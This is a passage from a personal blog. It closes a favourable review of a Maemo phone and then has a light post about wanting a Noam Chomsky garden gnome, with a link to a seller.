Those are the things I came up with while using the phone. The calling functionality and everything which is only phone related really works fine and the sound quality while talking to someone on the phone is also really good. So far I am really happy with the phone and I can only recommend it. I hope I'll have some time to port some applications to maemo soon.

Chomsky garden gnome

I always hated garden gnomes and was under the impression that only old people collect them. But I have to realize that I just discovered the love to garden gnomes when I saw the Noam Chomsky garden gnome.

http://www.justsaygnome.net/gnomes-noams--oms---products---ordering.html

If you ever feel like sending me a gift, send me one of those
Too bad there's also a bunch of other important people I would like to as garden gnomes! If there is a business around that please leave a comment.